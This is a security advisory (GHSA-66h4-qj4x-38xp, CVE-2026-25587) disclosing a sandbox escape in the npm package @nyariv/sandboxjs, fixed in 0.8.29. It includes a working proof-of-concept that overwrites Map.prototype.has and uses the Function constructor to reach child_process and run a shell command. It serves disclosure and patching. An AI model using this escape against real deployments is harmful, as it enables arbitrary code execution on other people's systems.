Advisory

GHSA-66h4-qj4x-38xp

Also known as: CVE-2026-25587

Summary

@nyariv/sandboxjs has a Sandbox Escape vulnerability

Details

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}
let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-02-05 21:05 UTC
Modified
2026-02-06 22:22 UTC

Affected packages and fixes

@nyariv/sandboxjs

npm · All systems

Affected

  • introduced 0, fixed 0.8.29 (semver)

Fixed versions

0.8.29

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences